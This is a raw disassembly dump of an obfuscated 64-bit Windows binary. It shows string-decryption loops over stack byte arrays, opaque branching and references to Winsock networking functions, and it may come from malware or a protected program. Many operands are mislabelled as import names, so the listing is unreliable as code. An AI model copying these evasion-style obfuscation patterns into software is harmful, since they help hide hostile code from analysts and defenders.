mov ecx, reloc.WLDAP32.dll_Ordinal_50
add rdx, r11
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1402066fd
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x140206313
movabs rdx, 0x6f009e67198d4b6c
mov ecx, 6
add rdx, r11
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
jmp 0x14020667f
cmp rdi, rcx
jne 0x14020633b
movabs rcx, 0xe7f58ac91bc61a54
add rcx, r11
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x4c
jmp 0x140206648
lea rax, [r10 + 9]
cmp rdi, rax
jne 0x140206217
movabs rdx, 0xd9df638d2037b824
mov ecx, 2
jmp 0x1402065bb
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x140206386
movabs rdx, 0x71118b07a2febac6
add rdx, r11
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x6a
jmp 0x1402065cb
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x1402063a3
movabs rdx, 0xea067769a53789ae
mov ecx, Ordinal_33
jmp 0x140206197
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x1402063cf
movabs rcx, 0x9f75d9fca88cc00a
add rcx, r11
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x46
jmp 0x14020664b
lea rax, [r10 + 6]
cmp rdi, rax
jne 0x1402063f9
movabs rdx, 0xdbf0502da9a9277e
add rdx, r11
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x72
jmp 0x14020667f
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x140206250
movabs rdx, 0x186ac65eaac58ef2
add rdx, r11
mov al, r8b
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1402066ae
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x140206458
movabs rcx, 0xec17640a2ea8f908
add rcx, r11
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x38
jmp 0x1402066fd
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x14020647f
movabs rdx, 0x2891da3b2fc5607c
add rdx, r11
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x64
jmp 0x140206425
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x14020649c
movabs rdx, 0x650c506c30e1c7f0
mov ecx, Ordinal_60
jmp 0x1402062fe
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x140206285
movabs rdx, 0xcfeb1592378c34a8
mov ecx, 0x34
jmp 0x1402065bb
mov byte [rbp + r11 + 0x40], dl
mov bl, dl
jmp 0x140206709
movabs rcx, 0x48e001f439c50390
add rcx, r11
mov al, r8b
and al, cl
mov edx, 8
sub dl, al
add dl, dl
add dl, byte [rbp + r11 + 0x40]
add dl, r8b
add dl, cl
movabs rcx, 0x671d3d0cba53374a
add rcx, r11
mov al, r8b
and al, cl
add al, al
sub r8b, al
sub r8b, 6
add r8b, dl
add r8b, cl
mov byte [rbp + r11 + 0x40], r8b
mov bl, dl
jmp 0x140206648
movabs rdx, 0x855a78253ae16b04
add rdx, r11
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, byte [rbp + r11 + 0x40]
sub bl, 0x1c
jmp 0x14020667f
movabs rdx, 0xe5e49e289254aafa
add rdx, r11
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14020664b
movabs rdx, 0xa96a27f791384386
mov ecx, Ordinal_46
jmp 0x140206636
movabs rcx, 0xf3fac5648de30d2a
add rcx, r11
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x26
jmp 0x1402065f2
movabs rdx, 0xb7804f338cc6a5b6
mov ecx, 3
jmp 0x1402065bb
movabs rdx, 0x3e8b62d18a8dd6ce
mov ecx, Ordinal_50
add rdx, r11
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
movabs rdx, 0x2aa2c6dbb936cfd6
add rdx, r11
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_send
sub cl, al
add cl, cl
add cl, dl
add cl, r8b
mov byte [rbp + r11 + 0x40], cl
mov eax, 1
add r10, rax
jmp 0x14020661f
movabs rcx, 0xc596766f885507e6
add rcx, r11
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x4a
mov eax, 1
sub r11, rax
jmp 0x14020670e
movabs rdx, 0x4ca18a0d861c38fe
mov ecx, 7
add rdx, r11
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
add rdi, r10
movzx eax, bl
or rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
jmp 0x140206709
mov r8, r9
movabs rdx, 0xd3ac9dab83e36a16
add rdx, r11
mov al, dl
and al, r9b
mov ecx, 0x33
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
movabs rcx, 0xa397b33dbb6f9ebe
add rcx, r11
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x32
add cl, r8b
movzx eax, cl
mov byte [rbp + r11 + 0x40], al
inc r10
add rax, r10
sub r11, rax
movabs rcx, 0xc1d4ee563bfdd278
add rcx, r11
mov al, r8b
and al, cl
add al, al
sub r8b, al
sub r8b, 0x48
add r8b, cl
mov byte [rbp + r11 + 0x40], r8b
inc rdi
or rax, 0xffffffffffffffff
sub rax, rdi
add r11, rax
jmp 0x1402066fd
movabs rcx, 0x5ab7b14981aa9b2e
add rcx, r11
mov al, r9b
and al, cl
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x42
movzx eax, byte [rbp + r11 + 0x40]
add rax, r10
add r11, rax
mov eax, 1
add r11, rax
jmp 0x140205eb9
movabs rcx, 0xb5cfb3bac9e0dfa2
add rcx, r11
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x6e
jmp 0x140205eb4
lea rcx, [r11 + r14]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x42
jmp 0x140205ea4
lea rcx, [rbp + 0x14ac138]
jmp 0x140206769
lea rcx, [rbp + 0x118f4f2]
jmp 0x140206769
lea rcx, [rbp + 0x40]
mov edx, 1
call fcn.14025f760
mov byte [rbp + 0x480], 0xfe
mov byte [rbp + 0x481], 0xb1
mov byte [rbp + 0x482], 0x87
mov byte [rbp + 0x483], 0xb3
mov byte [rbp + 0x484], 0xb4
mov byte [rbp + 0x485], reloc.WLDAP32.dll_Ordinal_41
xor eax, eax
mov qword [rbp + 0x486], rax
mov dword [rbp + 0x48e], eax
mov bl, byte [rsp + 0x50]
movabs rsi, 0x852f948bcec8ed5a
movabs r14, 0x2759038ad0d1750e
movabs r15, 0x5cda52a81649e85c
movabs r12, 0x527b299078b80da8
movabs r13, 0x3dbcd7613d945840
call fcn.1402682a8
mov rdi, qword [rax]
call fcn.1402682b0
mov r11, qword [rax]
xor eax, eax
mov r9d, eax
cmp r9, 0x12
jae 0x140207370
movzx r8d, byte [rbp + r9 + 0x480]
mov r10, r8
cmp rdi, r9
ja 0x140207367
lea rax, [r11 + 1]
cmp rdi, rax
jae 0x140206838
lea rcx, [r9 + rsi]
mov rax, r8
and rax, rcx
imul rbx, rax, 0xfffffffffffffffe
add rbx, r8
add rbx, rcx
sub bl, 0x76
jmp 0x140206865
je 0x1402072e8
lea rax, [r11 + 3]
cmp rdi, rax
je 0x14020725e
lea rax, [r11 + 5]
cmp rdi, rax
je 0x140207200
lea rax, [r11 + 9]
cmp rdi, rax
je 0x1402071ab
cmp r11, r9
ja 0x14020735e
lea rax, [r11 + 0x80]
cmp rdi, rax
jae 0x14020689d
movabs rdx, 0xece72f77f67b7862
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x1402068eb
lea rax, [r11 + 1]
cmp rdi, rax
je 0x14020719a
lea rax, [r11 + 2]
cmp rdi, rax
je 0x140207175
lea rax, [r11 + 3]
cmp rdi, rax
je 0x140207152
lea rax, [r11 + 5]
cmp rdi, rax
je 0x14020712f
lea rax, [r11 + 4]
cmp rdi, rax
je 0x14020710d
lea rax, [r11 + 9]
cmp rdi, rax
je 0x1402070e7
lea rax, [rdi + r11]
cmp rax, r9
jbe 0x140206e2f
lea rax, [r11 + 0x10]
cmp rdi, rax
je 0x140206e1b
lea rax, [r11 + 0xa]
cmp rdi, rax
je 0x140206e07
lea rax, [r11 + 9]
cmp rdi, rax
je 0x140206df3
lea rax, [r11 + 8]
cmp rdi, rax
je 0x140206dd1
lea rax, [r11 + 6]
cmp rdi, rax
je 0x140206daf
lea rcx, [r11 + 5]
cmp rdi, rcx
je 0x140206d8d
lea rax, [r11 + 4]
cmp rdi, rax
je 0x140206d6c
lea rax, [r11 + 3]
cmp rdi, rax
je 0x140206d4a
lea rax, [r11 + 0x20]
cmp rdi, rax
je 0x140206d28
mov rdi, rcx
lea r11, [rcx + 0xa]
lea rax, [r11 + 4]
cmp rcx, rax
jb 0x140207345
lea rax, [r11 + 3]
cmp rcx, rax
jb 0x140207322
lea rax, [r11 + 2]
cmp rcx, rax
jb 0x140206add
lea rax, [r11 + 1]
cmp rcx, rax
jb 0x140206abb
lea rax, [r11 + 0x2a]
cmp rcx, rax
jb 0x140206a99
lea rcx, [r11 + 0x5a]
cmp rdi, rcx
jb 0x140206cc6
lea rax, [r11 + 0x41]
cmp rdi, rax
jb 0x140206c3f
lea rax, [r11 + 0x7a]
cmp rdi, rax
jb 0x140206c2e
lea rax, [r11 + 0x61]
cmp rdi, rax
jb 0x140206c00
lea rax, [r11 + 0x1000]
cmp rdi, rax
jb 0x1402068f8
mov rdi, rcx
lea r11, [rcx + 3]
lea rax, [r11 + 0x41]
cmp rcx, rax
ja 0x140206bde
lea rax, [r11 + 0x7a]
cmp rcx, rax
ja 0x140206bb8
lea rax, [r11 + 0x61]
cmp rcx, rax
ja 0x140206b94
lea rax, [r11 + 0x1000]
cmp rcx, rax
ja 0x140206b6e
lea rax, [r11 + 0x400]
cmp rcx, rax
ja 0x140206b51
lea rcx, [r11 + 0x3e8]
cmp rdi, rcx
ja 0x140206b3d
lea rax, [r11 + 0x200]
cmp rdi, rax
ja 0x140206b2f
lea rax, [r11 + 0x80]
cmp rdi, rax
ja 0x140206b21
lea rax, [r11 + 0x64]
cmp rdi, rax
ja 0x140206aff
lea rax, [r11 + 0x42]
cmp rdi, rax
ja 0x1402068f8
mov rdi, rcx
lea r11, [rcx + 0x40]
jmp 0x1402068f8
movabs rcx, 0x50d5a7e94718dfde
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x12
jmp 0x1402068eb
movabs rcx, 0x46767ed1a987052a
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x26
jmp 0x140206865
movabs rcx, 0x3c1755ba0bf52a76
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x3a
jmp 0x14020680a
movabs rcx, 0x67397bbfb3dbc310
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x70
jmp 0x1402071cc
lea rdx, [r9 + r15]
mov ecx, 0x3e
jmp 0x140206fa9
lea rdx, [r9 + r12]
mov ecx, 0x34
jmp 0x140206fd8
movabs rdx, 0x481c0078db2632f4
mov ecx, Ordinal_46
jmp 0x14020720f
lea rdx, [r9 + r13]
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x140207249
movabs rdx, 0x335dae49a0027d8c
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14020724c
movabs rdx, 0x28fe85320270a2d8
add rdx, r9
mov al, r8b
and al, dl
mov ecx, ntohl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
jmp 0x14020727d
movabs rdx, 0x1e9f5c1a64dec824
add rdx, r9
mov al, dl
and al, r8b
mov ecx, 2
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x1402072b1
movabs rcx, 0x14403302c74ced70
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x10
jmp 0x140207306
movabs rdx, 0x7a524c47bd604aae
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_33
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
mov byte [rbp + r9 + 0x480], bl
jmp 0x140207315
movabs rdx, 0x6ff323301fce6ffa
mov ecx, reloc.WS2_32.dll_setsockopt
jmp 0x140206c89
movabs rdx, 0x6593fa18823c9546
add rdx, r9
mov al, dl
and al, r8b
mov ecx, ntohl
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
cmp rdi, 0x1000
jae 0x140207090
lea rax, [r11 + 0x5a]
cmp rdi, rax
jbe 0x14020701c
movabs rdx, 0xa93d94c83c5c06d4
mov ecx, reloc.WLDAP32.dll_Ordinal_26
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
cmp r11, 0x42
jb 0x140206c21
movabs rcx, 0x10f52fb4640e91dc
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
add cl, r8b
lea ebx, [rcx*2 - 8]
jmp 0x1402071cc
movabs rdx, 0x5b34d100e4aaba92
add rdx, r9
mov al, dl
and al, r8b
mov ecx, 1
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
lea rax, [rdi + r11]
mov ecx, 1
cmp rax, rcx
je 0x1402070b9
lea rax, [r11 + 5]
cmp rdi, rax
jbe 0x140206f63
movabs rcx, 0xbc56655045e08e72
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x1e
jmp 0x140206c60
movabs rcx, 0x8d6b1ccfc6e4d24c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x14
jmp 0x140207306
movabs rcx, 0x830bf3b82952f798
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x28
jmp 0x1402072b1
movabs rdx, 0x78accaa08bc11ce4
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x3c
jmp 0x14020727d
movabs rcx, 0x6e4da188ee2f4230
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x50
jmp 0x14020724c
movabs rcx, 0x63ee7871509d677c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x64
jmp 0x140207249
movabs rcx, 0x598f4f59b30b8cc8
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x78
jmp 0x140207221
movabs rdx, 0x4f3026421579b214
mov ecx, Ordinal_60
jmp 0x140206fd5
movabs rdx, 0x44d0fd2a77e7d760
mov ecx, Ordinal_50
jmp 0x140206fa6
movabs rdx, 0x3a71d412da55fcac
mov ecx, Ordinal_41
jmp 0x1402071ba
lea rcx, [r11 + 6]
cmp rdi, rcx
jae 0x140206e51
lea rcx, [r9 + rsi]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x76
jmp 0x140206ce7
lea rax, [r11 + 1]
cmp rdi, rax
jne 0x140206e7c
movabs rcx, 0xd9ce5eefecf6f0c4
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x5c
jmp 0x140207306
lea rax, [r11 + 2]
cmp rdi, rax
jne 0x140206ea7
movabs rcx, 0x34b034e633e5b94
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0xc
jmp 0x140207249
cmp rdi, rcx
jne 0x140206ed2
movabs rdx, 0xdaa2c6600d03648
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 4
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x140207221
lea rax, [r11 + 5]
cmp rdi, rax
jne 0x140206f01
movabs rdx, 0x1809557d9e6210fc
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_ntohl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x140207193
lea rax, [r11 + 4]
cmp rdi, rax
jne 0x140206f30
movabs rdx, 0x22687e953bf3ebb0
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_26
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1402071f0
lea rax, [r11 + 3]
cmp rdi, rax
jne 0x140206ce7
movabs rdx, 0x2cc7a7acd985c664
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_35
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1402071cc
lea rax, [r11 + 1]
cmp rdi, rax
jne 0x140206f8e
movabs rcx, 0xc6b58e67e3726926
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0xa
jmp 0x1402071cc
lea rax, [r11 + 2]
cmp rdi, rax
jne 0x140206fbd
movabs rdx, 0xd114b77f810443da
mov ecx, 5
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x1402071f0
lea rax, [r11 + 3]
cmp rdi, rax
jne 0x140206fec
movabs rdx, 0xdb73e0971e961e8e
mov ecx, reloc.WS2_32.dll_ntohs
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x140207193
lea rax, [r11 + 8]
cmp rdi, rax
jne 0x140206c60
movabs rcx, 0x19aed724d0013ec6
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x6a
jmp 0x140207306
lea rax, [r11 + 1]
cmp rdi, rax
jne 0x140207039
movabs rdx, 0xb39cbddfd9ede188
mov ecx, 0x24
jmp 0x1402070f6
lea rax, [r11 + 2]
cmp rdi, rax
jne 0x140207060
movabs rdx, 0xc85b100f151196f0
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_60
sub cl, al
lea ebx, [rcx + rcx]
jmp 0x1402070dd
lea rax, [r11 + 5]
cmp rdi, rax
jne 0x140206c9b
movabs rcx, 0xdd19623e50354c58
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x68
jmp 0x140207249
movabs rdx, 0x1b5458cc01a06c90
add rdx, r9
mov al, dl
and al, r8b
mov ecx, 8
sub cl, al
lea ebx, [rcx + rcx]
add bl, byte [rbp + r9 + 0x480]
jmp 0x14020721c
movabs rdx, 0x25b381e39f324744
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea ebx, [rcx + rcx]
sub bl, byte [rbp + r9 + 0x480]
add bl, dl
add bl, r8b
jmp 0x14020727f
movabs rdx, 0x4a3fa14c809c28b6
mov ecx, 3
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x140207306
movabs rcx, 0x35814f1d4578734e
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x22
jmp 0x14020727f
movabs rcx, 0x2b222605a7e6989a
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x36
jmp 0x14020724c
movabs rcx, 0x20c2fcee0a54bde6
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x4a
jmp 0x140207249
movabs rcx, 0xc04aabecf31087e
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x72
mov eax, 1
jmp 0x1402071f8
movabs rdx, 0xf746588f940d5316
mov ecx, 0x33
jmp 0x1402071ba
movabs rdx, 0xe288066058e99dae
mov ecx, Ordinal_33
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
movabs rcx, 0x9624c44032d77f36
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x7a
add cl, r8b
mov byte [rbp + r9 + 0x480], cl
mov eax, 1
add r11, rax
sub r9, rax
jmp 0x14020731a
movabs rdx, 0xc36a8b1980340d92
mov ecx, 1
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
movabs rdx, 0xa083ed57d06959ea
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov cl, bl
sub cl, al
sub cl, 0x66
add cl, r8b
add cl, dl
mov byte [rbp + r9 + 0x480], cl
add rdi, r11
movzx eax, bl
or rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
jmp 0x140207315
mov r8, r10
movabs rdx, 0xa44d0fd2a77e7d76
add rdx, r9
mov al, dl
and al, r10b
add al, al
mov bl, r10b
sub bl, al
sub bl, 0x3a
add bl, dl
movabs rdx, 0xaae3166f6dfb349e
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
sub cl, 0x52
add cl, dl
movzx eax, cl
mov byte [rbp + r9 + 0x480], al
inc r11
add rax, r11
sub r9, rax
movabs rdx, 0x3012aafb3cc421f8
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_30
sub cl, al
add cl, cl
add cl, dl
add cl, r8b
mov byte [rbp + r9 + 0x480], cl
inc rdi
or rax, 0xffffffffffffffff
sub rax, rdi
add r9, rax
jmp 0x140207306
movabs rcx, 0x8f8ebda36c5ac80e
add rcx, r9
mov al, r10b
and al, cl
add al, al
sub r10b, al
lea ebx, [rcx + r10]
sub bl, 0x62
movzx eax, byte [rbp + r9 + 0x480]
add rax, r11
add r9, rax
mov eax, 1
add r9, rax
jmp 0x1402067f7
movabs rcx, 0x31b82ca26e634fc2
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x4e
jmp 0x1402067f2
lea rcx, [r9 + r14]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x62
jmp 0x1402067e2
lea rcx, [rbp + 0x17f7cf8]
jmp 0x140207377
lea rcx, [rbp + 0x1486a52]
jmp 0x140207377
lea rcx, [rbp + 0x480]
xor edx, edx
call fcn.14025f760
xor r13d, r13d
test al, al
je 0x14020c4f3
mov byte [rbp + 0xc10], 0x9b
mov byte [rbp + 0xc11], 0x59
mov byte [rbp + 0xc12], 0x80
mov byte [rbp + 0xc13], 0x5b
mov byte [rbp + 0xc14], 0xa0
mov byte [rbp + 0xc15], 0x45
mov byte [rbp + 0xc16], 0xbb
mov byte [rbp + 0xc17], 0x47
mov byte [rbp + 0xc18], reloc.WLDAP32.dll_Ordinal_211
mov byte [rbp + 0xc19], 0x41
mov byte [rbp + 0xc1a], 0xaf
mov byte [rbp + 0xc1b], 0x43
mov byte [rbp + 0xc1c], 0xde
mov byte [rbp + 0xc1d], Ordinal_79
mov byte [rbp + 0xc1e], 0xdd
mov byte [rbp + 0xc1f], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0xc20], 0xac
mov byte [rbp + 0xc21], Ordinal_79
mov byte [rbp + 0xc22], 0x86
mov byte [rbp + 0xc23], Ordinal_79
mov byte [rbp + 0xc24], 0x99
mov byte [rbp + 0xc25], 0x75
mov byte [rbp + 0xc26], 0x98
mov byte [rbp + 0xc27], 0x77
mov byte [rbp + 0xc28], __WSAFDIsSet
mov byte [rbp + 0xc29], WSAStartup
mov byte [rbp + 0xc2a], 0xef
mov byte [rbp + 0xc2b], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0xc2c], 0xe8
mov byte [rbp + 0xc2d], 0x7d
mov byte [rbp + 0xc2e], 0xe2
mov byte [rbp + 0xc2f], 0x7f
mov byte [rbp + 0xc30], 0x9c
mov byte [rbp + 0xc31], 0x79
mov byte [rbp + 0xc32], 0xbb
mov byte [rbp + 0xc33], 0x7b
mov byte [rbp + 0xc34], 0xf4
mov byte [rbp + 0xc35], 0x65
mov byte [rbp + 0xc36], 0xf6
mov byte [rbp + 0xc37], 0x67
mov byte [rbp + 0xc38], 0xac
mov byte [rbp + 0xc39], 0x61
mov byte [rbp + 0xc3a], 0x83
mov byte [rbp + 0xc3b], 0x63
mov byte [rbp + 0xc3c], 0xf0
mov byte [rbp + 0xc3d], WSAStartup
mov byte [rbp + 0xc3e], reloc.WLDAP32.dll_Ordinal_143
mov byte [rbp + 0xc3f], reloc.WS2_32.dll_WSAGetLastError
mov byte [rbp + 0xc40], Ordinal_143
mov byte [rbp + 0xc41], WSAGetLastError
mov byte [rbp + 0xc42], 0xa7
mov byte [rbp + 0xc43], WSAGetLastError
mov byte [rbp + 0xc44], 0x88
mov byte [rbp + 0xc45], reloc.WS2_32.dll_setsockopt
mov byte [rbp + 0xc46], 0xfe
mov byte [rbp + 0xc47], reloc.WS2_32.dll_socket
mov byte [rbp + 0xc48], 0xfd
mov byte [rbp + 0xc49], reloc.WS2_32.dll_recvfrom
mov byte [rbp + 0xc4a], 0x80
mov byte [rbp + 0xc4b], reloc.WS2_32.dll_send
mov byte [rbp + 0xc4c], 0xfd
mov byte [rbp + 0xc4d], Ordinal_30
mov byte [rbp + 0xc4e], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0xc4f], Ordinal_33
mov byte [rbp + 0xc50], 0xfa
mov byte [rbp + 0xc51], Ordinal_30
mov byte [rbp + 0xc52], 0xf3
mov byte [rbp + 0xc53], reloc.WLDAP32.dll_Ordinal_27
mov byte [rbp + 0xc54], __WSAFDIsSet
mov byte [rbp + 0xc55], 5
mov byte [rbp + 0xc56], 6
mov byte [rbp + 0xc57], 7
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xc58], xmm0
mov qword [rbp + 0xc68], rax
mov dil, byte [rsp + 0x50]
movabs r14, 0xe2ff43c1b0c1bb8c
call fcn.1402682a8
mov rbx, qword [rax]
call fcn.1402682b0
mov r9, qword [rax]
mov r12d, Ordinal_41
mov r10, r13
mov esi, 1
cmp r10, 0x60
jae 0x140208016
movzx r8d, byte [rbp + r10 + 0xc10]
mov r11d, r8d
cmp rbx, r10
ja 0x14020800d
lea rax, [r9 + 1]
cmp rbx, rax
jae 0x140207616
movabs rcx, 0xe2ff43c1b0c1bb8c
add rcx, r10
mov rax, rcx
and rax, r8
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, r8
add dil, 0x2c
movabs r14, 0xe2ff43c1b0c1bb8c
jmp 0x140207643
je 0x140207f88
lea rax, [r9 + 2]
cmp rbx, rax
je 0x140207f33
lea rax, [r9 + 5]
cmp rbx, rax
je 0x140207ed0
lea rax, [r9 + 3]
cmp rbx, rax
je 0x140207ea9
cmp r9, r10
ja 0x140208004
lea rax, [r9 + 0x400]
cmp rbx, rax
jae 0x14020767b
movabs rcx, 0x9ef08ee37fe4627c
add rcx, r10
mov al, r8b
and al, cl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x64
add dil, cl
jmp 0x1402076af
lea rax, [r9 + 1]
cmp rbx, rax
je 0x140207e62
lea rax, [r9 + 2]
cmp rbx, rax
je 0x140207e3e
lea rax, [r9 + 4]
cmp rbx, rax
je 0x140207e1b
lea rax, [r9 + 5]
cmp rbx, rax
je 0x140207df8
mov r11d, Ordinal_30
lea rax, [r9 + rbx]
cmp rax, r10
jbe 0x140207a11
lea rax, [r9 + 0x41]
cmp rbx, rax
je 0x1402079ee
lea rax, [r9 + 0x64]
cmp rbx, rax
je 0x1402079c7
lea rax, [r9 + 8]
cmp rbx, rax
je 0x1402079a3
lea rax, [r9 + 0x5a]
cmp rbx, rax
je 0x14020797f
lea rax, [r9 + 0x80]
cmp rbx, rax
je 0x14020795c
lea rax, [r9 + 9]
cmp rbx, rax
je 0x140207935
lea rbx, [r9 + 4]
lea r9, [rbx + 0x2a]
lea rax, [r9 + 0x61]
cmp rbx, rax
jb 0x140207fe0
lea rax, [r9 + 0x40]
cmp rbx, rax
jb 0x140207fbd
lea rax, [r9 + 5]
cmp rbx, rax
jb 0x1402077da
lea rax, [r9 + 0x7a]
cmp rbx, rax
jb 0x14020791e
lea rax, [r9 + 0x42]
cmp rbx, rax
jb 0x1402078ef
lea rax, [r9 + 6]
cmp rbx, rax
jb 0x1402076c2
lea rbx, [r9 + 2]
